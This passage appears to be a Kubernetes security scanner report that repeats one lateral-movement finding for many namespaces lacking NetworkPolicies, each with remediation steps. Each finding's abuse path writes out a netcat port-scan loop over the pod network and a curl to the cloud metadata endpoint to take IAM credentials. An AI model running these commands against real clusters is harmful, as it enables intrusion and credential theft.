A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in gw-workloads and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in gw-workloads, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to gw-workloads.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n gw-workloads --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacegw-workloads
Show raw JSON
{
  "namespace": "gw-workloads"
}
HIGH Namespace/hookbackend-fixtures/hookbackend-fixtures Namespace 7.4
Namespace hookbackend-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace hookbackend-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/hookbackend-fixtures/hookbackend-fixtures Namespace: hookbackend-fixtures

Namespace hookbackend-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in hookbackend-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in hookbackend-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to hookbackend-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n hookbackend-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacehookbackend-fixtures
Show raw JSON
{
  "namespace": "hookbackend-fixtures"
}
HIGH Namespace/imgswap-fixtures/imgswap-fixtures Namespace 7.4
Namespace imgswap-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace imgswap-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/imgswap-fixtures/imgswap-fixtures Namespace: imgswap-fixtures

Namespace imgswap-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in imgswap-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in imgswap-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to imgswap-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n imgswap-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespaceimgswap-fixtures
Show raw JSON
{
  "namespace": "imgswap-fixtures"
}
HIGH Namespace/local-path-storage/local-path-storage Namespace 7.4
Namespace local-path-storage has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace local-path-storage: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/local-path-storage/local-path-storage Namespace: local-path-storage

Namespace local-path-storage contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in local-path-storage and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in local-path-storage, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to local-path-storage.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n local-path-storage --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacelocal-path-storage
Show raw JSON
{
  "namespace": "local-path-storage"
}
HIGH Namespace/lp-fixtures/lp-fixtures Namespace 7.4
Namespace lp-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace lp-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/lp-fixtures/lp-fixtures Namespace: lp-fixtures

Namespace lp-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in lp-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in lp-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to lp-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n lp-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacelp-fixtures
Show raw JSON
{
  "namespace": "lp-fixtures"
}
HIGH Namespace/map-fixtures/map-fixtures Namespace 7.4
Namespace map-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace map-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/map-fixtures/map-fixtures Namespace: map-fixtures

Namespace map-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in map-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in map-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to map-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n map-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacemap-fixtures
Show raw JSON
{
  "namespace": "map-fixtures"
}
HIGH Namespace/nodeid-fixtures/nodeid-fixtures Namespace 7.4
Namespace nodeid-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace nodeid-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/nodeid-fixtures/nodeid-fixtures Namespace: nodeid-fixtures

Namespace nodeid-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in nodeid-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in nodeid-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to nodeid-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n nodeid-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacenodeid-fixtures
Show raw JSON
{
  "namespace": "nodeid-fixtures"
}
HIGH Namespace/privesc-fixtures/privesc-fixtures Namespace 7.4
Namespace privesc-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace privesc-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/privesc-fixtures/privesc-fixtures Namespace: privesc-fixtures

Namespace privesc-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in privesc-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in privesc-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to privesc-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n privesc-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespaceprivesc-fixtures
Show raw JSON
{
  "namespace": "privesc-fixtures"
}
HIGH Namespace/psa-suppressed/psa-suppressed Namespace 7.4
Namespace psa-suppressed has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace psa-suppressed: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/psa-suppressed/psa-suppressed Namespace: psa-suppressed

Namespace psa-suppressed contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in psa-suppressed and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in psa-suppressed, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to psa-suppressed.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n psa-suppressed --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepsa-suppressed
Show raw JSON
{
  "namespace": "psa-suppressed"
}
HIGH Namespace/psa-unlabeled-fixtures/psa-unlabeled-fixtures Namespace 7.4
Namespace psa-unlabeled-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace psa-unlabeled-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/psa-unlabeled-fixtures/psa-unlabeled-fixtures Namespace: psa-unlabeled-fixtures

Namespace psa-unlabeled-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in psa-unlabeled-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in psa-unlabeled-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to psa-unlabeled-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n psa-unlabeled-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepsa-unlabeled-fixtures
Show raw JSON
{
  "namespace": "psa-unlabeled-fixtures"
}
HIGH Namespace/psaflip-fixtures/psaflip-fixtures Namespace 7.4
Namespace psaflip-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace psaflip-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/psaflip-fixtures/psaflip-fixtures Namespace: psaflip-fixtures

Namespace psaflip-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in psaflip-fixtures and lands a shell.
